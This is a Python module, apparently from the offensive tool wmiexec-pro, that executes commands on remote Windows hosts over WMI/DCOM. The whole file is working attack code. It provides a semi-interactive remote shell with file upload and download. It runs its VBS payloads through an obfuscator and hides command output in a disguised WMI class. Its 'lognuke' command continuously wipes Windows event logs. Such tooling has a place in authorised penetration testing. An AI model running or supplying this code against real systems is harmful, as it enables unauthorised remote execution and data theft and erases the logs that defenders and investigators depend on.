import uuid import time import base64 import os import sys import datetime import cmd import re import logging from lib.helpers import get_vbs from lib.modules.filetransfer import filetransfer_Toolkit from lib.methods.classMethodEx import class_MethodEx from lib.methods.executeScript import executeScript_Toolkit from lib.methods.Obfuscator import VBSObfuscator from lib.module_base import ModuleBase from impacket.dcerpc.v5.dtypes import NULL class EXEC_COMMAND(ModuleBase): name = "exec-command" description = "Execute command in with/without output way." @staticmethod def register_parser(subparsers): p = subparsers.add_parser(EXEC_COMMAND.name, help=EXEC_COMMAND.description) p.add_argument("-shell", action="store_true", help="Launch a semi-interactive shell") p.add_argument("-command", action="store", help="Specify command to execute") p.add_argument("-old", action="store_true", help="Execute command for old system versio nunder NT6.") p.add_argument("-silent", action="store_true", help="Command execute with output (default is no output)") p.add_argument("-save", action="store_true", help="Save command output to file (not support silent mode)") p.add_argument("-clear", action="store_true", help="Remove temporary class for command result storage") return p @staticmethod def run(iWbemLevel1Login, dcom, options, **kwargs): addr = kwargs.get("addr", "") if options.shell: try: executer_Shell = EXEC_COMMAND_SHELL(iWbemLevel1Login, dcom, options.codec, addr) executer_Shell.interval = options.timeout executer_Shell.cmdloop() except (Exception, KeyboardInterrupt) as e: if logging.getLogger("wmiexec-pro").level == logging.DEBUG: import traceback traceback.print_exc() logging.getLogger("wmiexec-pro").error(str(e)) dcom.disconnect() sys.exit(1) else: executer = EXEC_COMMAND(iWbemLevel1Login, options.codec) executer.timeout = options.timeout if options.command: if options.silent: executer.exec_command_silent(command=options.command, old=options.old) else: executer.exec_command_WithOutput(command=options.command, save_Result=options.save, hostname=addr, old=options.old) if options.clear: executer.clear() def __init__(self, iWbemLevel1Login, codec): self.iWbemLevel1Login = iWbemLevel1Login self.codec = codec self.timeout = 5 self.obfu = VBSObfuscator() self.logger = logging.getLogger("wmiexec-pro") self.logger_countdown = logging.getLogger("CountdownLogger") def save_ToFile(self, hostname, content): path = os.path.join("save", hostname) save_FileName = f"{str(int(time.time()))}.txt" if not os.path.exists(path): os.makedirs(path, exist_ok=True) result = os.path.join(path, save_FileName) with open(result, "w") as f: f.write(content) self.logger.log(100, f"Save command result to {result}") # For system under NT6, like windows server 2003 # Timer for countdown Win32_ScheduledJob, scheduled task in "Win32_ScheduledJob" only will be trigger every per minute. def timer_For_UnderNT6(self, iWbemServices=None, return_iWbemServices=False): if not iWbemServices: iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/Cimv2", NULL, NULL) self.iWbemLevel1Login.RemRelease() iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_LocalTime") LocalTime = iEnumWbemClassObject.Next(0xffffffff,1)[0] LocalTime = dict(LocalTime.getProperties()) # Get remaining seconds until the next minute. for i in range((65 - int(LocalTime["Second"]["value"])),0,-1): self.logger_countdown.info(f"Waiting {i}s for command execution.\r") time.sleep(1) self.logger.log(100, "Command executed!") # Return cimv2 if return_iWbemServices: return iWbemServices # For system under NT6, like windows server 2003 def exec_command_silent_For_UnderNT6(self, command=None): iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/Cimv2", NULL, NULL) self.iWbemLevel1Login.RemRelease() wql1 = "SELECT * FROM Win32_LocalTime" wql2 = "SELECT * FROM Win32_TimeZone" iEnumWbemClassObject = iWbemServices.ExecQuery(wql1) Win32_LocalTime = iEnumWbemClassObject.Next(0xffffffff, 1)[0] Machine_Date = datetime.datetime(100, 1, 1, int(Win32_LocalTime.Hour), int(Win32_LocalTime.Minute), 00) execute_time = (Machine_Date + datetime.timedelta(0, 60)).time() # Delay one miniute for command execution iEnumWbemClassObject = iWbemServices.ExecQuery(wql2) Win32_TimeZone = iEnumWbemClassObject.Next(0xffffffff, 1)[0] executeTime = "********{}.000000+{}".format( str(execute_time).replace(":", ""), str(Win32_TimeZone.Bias) ) command = f"C:\\Windows\\System32\\cmd.exe /Q /c {command}" Win32_ScheduledJob, resp = iWbemServices.GetObject("Win32_ScheduledJob") result = Win32_ScheduledJob.Create(command, executeTime, 0, 0, 0, 1) if int(result.ReturnValue) == 0: self.logger.log(100, "Create schedule job for command execution successfully.") else: self.logger.error(f"Create schedule job for command execution error, code: {result.ReturnValue!s}") self.timer_For_UnderNT6(iWbemServices) def exec_command_silent(self, command, old=False): if "'" in command: command = command.replace("'", '"') if old: # Windows will auto remove job after schedule job executed. self.exec_command_silent_For_UnderNT6(command) else: executer = executeScript_Toolkit(self.iWbemLevel1Login) random_TaskName = str(uuid.uuid4()) self.logger.info("Executing command...(Sometime it will take a long time, please wait)") vbs = get_vbs("Exec-Command-Silent.vbs") vbs = vbs.replace("REPLACE_WITH_COMMAND", base64.b64encode(command.encode("utf-8")).decode("utf-8")).replace("REPLACE_WITH_TASK", random_TaskName) # Experimental: use timer instead of filter query tag = executer.ExecuteScript(script_content=vbs, returnTag=True) #filer_Query = r"SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" #tag = executer.ExecuteScript(script_content=vbs, filer_Query=filer_Query, returnTag=True) # Wait 5 seconds for next step. for i in range(self.timeout,0,-1): self.logger_countdown.info(f"Waiting {i}s for next step.\r") time.sleep(1) executer.remove_Event(tag) def exec_command_WithOutput(self, command, ClassName_StoreOutput=None, save_Result=False, hostname=None, old=False): executer = executeScript_Toolkit(self.iWbemLevel1Login) if not ClassName_StoreOutput: ClassName_StoreOutput = "Win32_OSRecoveryConfigurationDataBackup" FileName = f"windows-object-{uuid.uuid4()!s}.log" CMD_instanceID = str(uuid.uuid4()) random_TaskName = str(uuid.uuid4()) if "'" in command: command = command.replace("'", '"') # Reuse cimv2 namespace to avoid dcom limition class_Method = class_MethodEx(self.iWbemLevel1Login) iWbemServices_Reuse_cimv2, _ = class_Method.check_ClassStatus(ClassName=ClassName_StoreOutput, return_iWbemServices=True) self.logger.info("Executing command...(Sometime it will take a long time, please wait)") if old: # Experimental: use timer instead of filter query vbs = get_vbs("Exec-Command-WithOutput-UnderNT6.vbs") vbs = vbs.replace("REPLACE_WITH_COMMAND", base64.b64encode(command.encode("utf-8")).decode("utf-8")).replace("REPLACE_WITH_FILENAME", FileName).replace("REPLACE_WITH_CLASSNAME", ClassName_StoreOutput).replace("RELEACE_WITH_UUID", CMD_instanceID) tag = executer.ExecuteScript(script_content=vbs, returnTag=True) # Reuse cimv2 iWbemServices_Reuse_cimv2 = self.timer_For_UnderNT6(iWbemServices=iWbemServices_Reuse_cimv2, return_iWbemServices=True) else: # Experimental: use timer instead of filter query vbs = get_vbs("Exec-Command-WithOutput.vbs") vbs = vbs.replace("REPLACE_WITH_COMMAND", base64.b64encode(command.encode("utf-8")).decode("utf-8")).replace("REPLACE_WITH_FILENAME", FileName).replace("REPLACE_WITH_CLASSNAME", ClassName_StoreOutput).replace("RELEACE_WITH_UUID", CMD_instanceID).replace("REPLACE_WITH_TASK", random_TaskName) tag = executer.ExecuteScript(script_content=self.obfu.generator(vbs), returnTag=True) #filer_Query = r"SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" #tag = executer.ExecuteScript(script_content=vbs, filer_Query=filer_Query, returnTag=True) # Wait 5 seconds for next step. for i in range(self.timeout,0,-1): self.logger_countdown.info(f"Waiting {i}s for next step.\r") time.sleep(1) executer.remove_Event(tag) try: command_ResultObject, resp = iWbemServices_Reuse_cimv2.GetObject('{}.CreationClassName="{}"'.format(ClassName_StoreOutput, CMD_instanceID)) except Exception as e: if "WBEM_E_INVALID_CLASS" in str(e): self.logger.error(f"Class {ClassName_StoreOutput} didn't existed!") elif "WBEM_E_NOT_FOUND" in str(e): self.logger.error("Get command results failed, probably you may need to increase interval time.") else: self.logger.error(f"Unexpected error: {e!s}") else: self.logger.info("Retrieving command results...") record = dict(command_ResultObject.getProperties()) result = base64.b64decode(record["DebugOptions"]["value"]).decode(self.codec, errors="replace") self.logger.log(100, result) if save_Result and hostname: self.save_ToFile(hostname, result) def clear(self, ClassName_StoreOutput=None): # Can't remote delete file via CIM_DataFile class, not thing happened after invoke Delete method of instance. if not ClassName_StoreOutput: ClassName_StoreOutput = "Win32_OSRecoveryConfigurationDataBackup" executer = executeScript_Toolkit(self.iWbemLevel1Login) class_Method = class_MethodEx(self.iWbemLevel1Login) self.logger.info("Cleanning temporary files and class.") vbs = get_vbs("RemoveTempFile.vbs") tag = executer.ExecuteScript(script_content=vbs, returnTag=True) # Wait 5 seconds for next step. for i in range(self.timeout,0,-1): self.logger_countdown.info(f"Waiting {i}s for next step.\r") time.sleep(1) executer.remove_Event(tag) class_Method.remove_Class(ClassName=ClassName_StoreOutput, return_iWbemServices_Cimv2=False) class EXEC_COMMAND_SHELL(cmd.Cmd): def __init__(self, iWbemLevel1Login, dcom, codec, addr): cmd.Cmd.__init__(self) self.iWbemLevel1Login = iWbemLevel1Login self.dcom = dcom self.codec = codec self.hostname = addr self.ClassName_StoreOutput = "Win32_OSRecoveryConfigurationDataBackup" self.save_Path = os.path.join("save", self.hostname) self.save_fileName = f"{int(time.time())!s}.txt" self.logging = False self.interval = 5 self.cwd = "C:\\Windows\\System32" self.prompt = f"{self.cwd}>" self.intro = "[!] Launching semi-interactive shell - Careful what you execute" self.history = [] self.executer = executeScript_Toolkit(self.iWbemLevel1Login) self.fileTransfer = filetransfer_Toolkit(self.iWbemLevel1Login, self.dcom) self.obfu = VBSObfuscator() self.logger = logging.getLogger("wmiexec-pro") self.logger_countdown = logging.getLogger("CountdownLogger") # Reuse cimv2 namespace to avoid dcom limition class_Method = class_MethodEx(self.iWbemLevel1Login) self.iWbemServices_Reuse_cimv2, self.iWbemServices_Reuse_subscription = class_Method.check_ClassStatus(self.ClassName_StoreOutput, return_iWbemServices=True) def do_help(self, line): print(""" sleep {seconds} - set interval time in command execution (default is 5 seconds). lognuke - enable looping cleaning eventlog. upload {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory) download {src_file} - downloads pathname to the current local dir logging - log everythings. codec {code} - set encoding code history - show history commands clear - clean the screen exit - exit. """) def do_upload(self, params): import ntpath params = params.split(" ") if len(params) > 1: src_file = params[0] dst_path = params[1] elif len(params) == 1: src_file = params[0] dst_path = self.cwd filename = src_file.replace("\\", "/").split("/")[-1] dst_file = ntpath.join(ntpath.join(self.cwd, dst_path), filename) self.fileTransfer.uploadFile(src_File=src_file, dest_File=dst_file, iWbemServices_Subscription=self.iWbemServices_Reuse_subscription, iWbemServices_Cimv2=self.iWbemServices_Reuse_cimv2) def do_download(self, src_file): import ntpath newPath = ntpath.normpath(ntpath.join(self.cwd, src_file)) drive, tail = ntpath.splitdrive(newPath) filename = ntpath.basename(tail) self.fileTransfer.downloadFile(target_File=newPath, save_Location=os.path.join(".", filename), iWbemServices_Subscription=self.iWbemServices_Reuse_subscription, iWbemServices_Cimv2=self.iWbemServices_Reuse_cimv2) def do_sleep(self, seconds): self.interval = int(seconds) self.logger.info(f"Set interval time to: {self.interval!s}") def do_lognuke(self, line): self.executer.ExecuteScript(script_content=get_vbs("ClearEventlog.vbs"), iWbemServices=self.iWbemServices_Reuse_subscription) self.logger.log(100, "Nuke is landed and log cleaning will never stop before use '-deep-clean' in 'execute-vbs' module") def do_logging(self, line): self.logger.info(f"Start logging and save the result to: {os.path.join(self.save_Path, self.save_fileName)}") self.logging = True def do_codec(self, line): if all([line]): self.codec = line self.logger.log(100, f"Set encoding code to: {self.codec}") else: self.logger.info(f"Current encoding code: {self.codec}") def do_history(self, line): for i in range(0, len(self.history)): print(f" {i+1!s} {self.history[i]}") def do_clear(self, line): os.system("clear") def emptyline(self): return False def do_exit(self, line): self.dcom.disconnect() sys.exit(1) def interval_Timer(self, seconds): for i in range(seconds,0,-1): self.logger_countdown.info(f"Waiting {i}s for next step.\r") time.sleep(1) self.logger.log(100, "Results:\n") def save_ToFile(self, content): if not os.path.exists(self.save_Path): os.makedirs(self.save_Path, exist_ok=True) with open(os.path.join(self.save_Path, self.save_fileName), "a+") as f: f.write(content) def process_Result(self, result, command): tmp_list = re.split("\\[COMMAND\\]|\\[PATH\\]", result) self.cwd = tmp_list[2].strip("\r\n").lstrip() cmd_Result = tmp_list[1].strip("\r\n").lstrip() self.prompt = f"{self.cwd}>" print(f"{cmd_Result}\n") if self.logging: content = f"{self.prompt} {command}\r\n\r\n{cmd_Result}\r\n\r\n" self.save_ToFile(content) def default(self, line): # history self.history.append(line) FileName = f"windows-object-{uuid.uuid4()!s}.log" CMD_instanceID = str(uuid.uuid4()) random_TaskName = str(uuid.uuid4()) command = line if "'" in command: command = command.replace("'", '"') vbs = get_vbs("Exec-Command-WithOutput-Shell.vbs") vbs = vbs.replace("REPLACE_WITH_CWD", base64.b64encode(self.cwd.encode("utf-8")).decode("utf-8")).replace("REPLACE_WITH_COMMAND", base64.b64encode(command.encode("utf-8")).decode("utf-8")).replace("REPLACE_WITH_FILENAME", FileName).replace("REPLACE_WITH_CLASSNAME", self.ClassName_StoreOutput).replace("RELEACE_WITH_UUID", CMD_instanceID).replace("REPLACE_WITH_TASK", random_TaskName) # Reuse subscription namespace to avoid dcom limition vbs = self.obfu.generator(vbs) if not self.iWbemServices_Reuse_subscription: tag, self.iWbemServices_Reuse_subscription = self.executer.ExecuteScript(script_content=vbs, returnTag=True, BlockVerbose=True, return_iWbemServices=True) else: tag, self.iWbemServices_Reuse_subscription = self.executer.ExecuteScript(script_content=vbs, returnTag=True, BlockVerbose=True, iWbemServices=self.iWbemServices_Reuse_subscription ,return_iWbemServices=True) # Wait 5 seconds for next step. self.interval_Timer(self.interval) self.executer.remove_Event(tag, BlockVerbose=True, iWbemServices=self.iWbemServices_Reuse_subscription) try: command_ResultObject, resp = self.iWbemServices_Reuse_cimv2.GetObject(f'{self.ClassName_StoreOutput}.CreationClassName="{CMD_instanceID}"') record = dict(command_ResultObject.getProperties()) except Exception as e: if "WBEM_E_NOT_FOUND" in str(e): self.logger.error("Get command results failed, probably you may need to increase interval time.") else: self.logger.error(f"Unknown error: {e!s}") else: result = base64.b64decode(record["DebugOptions"]["value"]).decode(self.codec, errors="replace") self.process_Result(result, line)